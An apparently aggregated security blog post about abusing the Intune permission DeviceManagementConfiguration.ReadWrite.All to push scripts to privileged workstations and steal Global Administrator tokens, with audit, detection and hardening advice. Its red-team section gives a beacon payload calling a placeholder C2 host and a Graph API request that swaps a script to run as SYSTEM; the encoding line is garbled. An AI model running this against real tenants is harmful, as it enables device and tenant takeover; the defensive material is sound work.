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Introduction:
In the modern enterprise, Microsoft Intune is the crown jewel of endpoint management, wielding the power to configure every corporate device. However, this centralized power introduces a critical vulnerability: if an attacker or red teamer can compromise a service principal with the `DeviceManagementConfiguration.ReadWrite.All` permission, they don’t just manage devices—they can own them. Recent research by Mandiant has exposed a novel attack path where this permission is abused to push malicious PowerShell scripts to Privileged Access Workstations (PAWs), leading to the theft of Global Administrator tokens and a full cloud tenant compromise .
Learning Objectives:
- Understand the attack chain behind the “Intune Administrator Takeover” and how the `DeviceManagementConfiguration.ReadWrite.All` permission serves as a master key.
- Learn how to simulate the attack by modifying Intune management scripts via the Microsoft Graph API for Red Teaming purposes.
- Implement hardening measures, including auditing service principal permissions, enabling multiple admin approval, and monitoring Graph API logs to detect and prevent such takeovers.
You Should Know:
1. The Anatomy of the Intune-to-Entra ID Takeover
The attack surface isn’t a vulnerability in code, but a feature in configuration. In a mature environment following Microsoft’s Enterprise Access Model, administrators use cloud-native Privileged Access Workstations (PAWs) managed exclusively by Intune. These PAWs are where admins activate privileged roles like Global Administrator via Privileged Identity Management (PIM).
Mandiant’s red team demonstrated that if an attacker gains the ability to update credentials on a service principal (a common objective), they can hunt for principals with the `DeviceManagementConfiguration.ReadWrite.All` permission . This permission allows the attacker to interact with Intune via the Graph API. By modifying an existing Device Management Script—a PowerShell script that runs as `NT AUTHORITY\SYSTEM` on endpoints—the attacker can deploy a payload to the PAW. When the administrator logs in and activates their PIM role, the attacker, already resident on the device, steals the session token or cookies, thereby inheriting the high-privilege role.
- Simulating the Attack: Modifying Intune Scripts via Graph API (Red Team)
To understand the risk, security professionals can simulate this technique in a lab environment. Once you have compromised a service principal with the required permissions, you can use the Microsoft Graph API to take over a device. This is not a vulnerability but an abuse of administrative power.
Step 1: Identify a Target Script
First, enumerate existing device management scripts. You need the target script ID.
Step 2: Prepare the Payload
Create a base64-encoded PowerShell script. For simulation, this could simply beacon out or create a log file.
Example: Simple Beaconing Payload (save as beacon.ps1) $beacon = "http://your-c2-server.local/beacon" Invoke-WebRequest -Uri $beacon -Method GET -UseBasicParsing
Encode this script for the API.
Encode script to Base64 [bash]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes((Get-Content .\beacon.ps1 -Raw)))
Step 3: Modify the Script via Graph API
Using a tool like PowerShell with the `Microsoft.Graph` module or direct REST API calls, update the script content.
PATCH https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts/{script-id}
Content-Type: application/json
{
"scriptContent": "BASE64_ENCODED_PAYLOAD_HERE",
"runAsAccount": "system"
}
This command forces the Intune-managed PAW to execute your malicious script on its next sync or reboot, granting you SYSTEM-level access on the administrative workstation .
3. Mitigation: Auditing Sensitive Service Principal Permissions
Defense against this attack requires rigorous identity hygiene. Organizations must treat service principal permissions with the same gravity as user roles.
Action: Regularly audit principals granted the `DeviceManagementConfiguration.ReadWrite.All` permission, as well as other high-impact permissions like `RoleManagement.ReadWrite.Directory` and Application.ReadWrite.All. This audit ensures that only authorized automation has the power to modify device configurations.
Using Microsoft Graph PowerShell to find dangerous permissions
Connect-MgGraph -Scopes "Application.Read.All"
Get-MgServicePrincipal | Where-Object {$<em>.AppRoles -or $</em>.Oauth2PermissionScopes} | fl DisplayName, Id, AppRoles, Oauth2PermissionScopes
Security teams should look for any service principal that has been granted the `DeviceManagementConfiguration.ReadWrite.All` application permission and verify its business necessity .
- Detection: Enabling and Monitoring Microsoft Graph API Logs
Prevention is ideal, but detection is a must. Attackers modifying Intune scripts via API will leave traces. Microsoft Graph API activity logs are essential for this detection, providing detailed information about HTTP requests made to Graph resources .
To enable this:
- Navigate to Microsoft Entra Admin Center > Diagnostic settings.
- Add a diagnostic setting to stream AuditLogs and SignInLogs (including service principal sign-ins) to a Log Analytics workspace or SIEM.
- Create detection rules for specific operations, such as:
– `PATCH /beta/deviceManagement/deviceManagementScripts/`
– `POST /beta/deviceManagement/deviceManagementScripts`If an account that does not normally perform Intune script modifications suddenly updates a script, especially a script assigned to high-value devices (PAWs), an alert should be triggered immediately.
-
Hardening: Conditional Access for Service Principals (Workload Identities)
Traditionally, Conditional Access applied only to users. However, with the rise of workload identity attacks, Microsoft has extended these capabilities to service principals via Workload ID Premium licenses.
Security teams can enforce strict controls on privileged service principals:
– Restrict by Location: Ensure that service principal usage (like modifying Intune scripts) only originates from known, trusted corporate IP ranges.
– Risk Detection: Integrate service principal sign-ins into Identity Protection to detect anomalous behavior.
– Authentication Controls: Require that automated scripts use certificate-based authentication rather than client secrets, which are frequently stolen.
If a service principal with Intune write permissions attempts to authenticate from an unusual location, it can be blocked automatically, severing the attack chain before the script is modified .
6. Zero Trust Configuration: Intune Security Baselines
While defending against advanced takeovers, remember the fundamentals. Intune provides built-in Security Baselines to ensure that managed devices, even if targeted, are hardened against common exploits. For Windows devices, applying the “Enterprise Security Baseline” enforces critical settings .
– Local Administrator Password Solution (LAPS): Ensure that every device has a unique, rotated local admin password to prevent pass-the-hash attacks .
– Attack Surface Reduction (ASR) Rules: Block credential theft from the LSASS process and prevent Office apps from creating child processes (a common malware injection technique) .
– BitLocker: Enforce encryption to protect data at rest if a device is physically compromised .
7. The “Multiple Admin Approval” Air-Gap
The most direct mitigation for the script-modification technique is Intune’s Access Policies (specifically, the “Multiple admin approval” feature). This setting requires a second administrator to explicitly approve any change before it is applied to Intune configurations .
By enabling this, even if an attacker compromises a service principal or account with DeviceManagementConfiguration.ReadWrite.All, they cannot unilaterally push a malicious script. The change will be quarantined until a second (presumably non-compromised) admin approves or rejects it, providing a critical window for detection.
What Undercode Say:
- The Intune Permission is the new “Domain Admin”: In cloud-native environments, control over Intune is control over the identity that controls the tenant. The `DeviceManagementConfiguration.ReadWrite.All` permission must be classified and guarded as a Tier 0 asset, as its compromise leads directly to the theft of privileged session tokens.
- Defense-in-Diversity is Critical: Relying solely on Microsoft security tools creates a monoculture. As highlighted in recent analyses, if an attacker compromises the Microsoft management plane, they can disable Microsoft Defender via Intune itself . Integrating third-party endpoint detection on critical PAWs ensures that if the primary security tool is tampered with, an independent sensor remains to raise the alarm.
- The Shift to Workload Identity: The attack underscores the reality that “identities” now include service principals and applications. Security operations centers (SOCs) must expand their monitoring to include Graph API calls from non-human entities and apply Conditional Access policies to these workload identities to prevent lateral movement from code to control plane.
Prediction:
The next 12 months will see a significant rise in “management plane” attacks targeting Intune, SCCM, and other configuration managers. As legacy on-premises attacks become harder, adversaries will increasingly weaponize the very tools IT teams use for efficiency. Expect Microsoft to accelerate the deprecation of client secrets in favor of certificate-based authentication for service principals and to introduce “just-in-time” access for Intune administrative roles, mirroring the PIM model for users. The arms race will shift from “exploiting vulnerabilities” to “abusing permissions,” making identity governance the new frontier of cyber warfare.
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IT/Security Reporter URL:
Reported By: Thecyberspy Intune – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
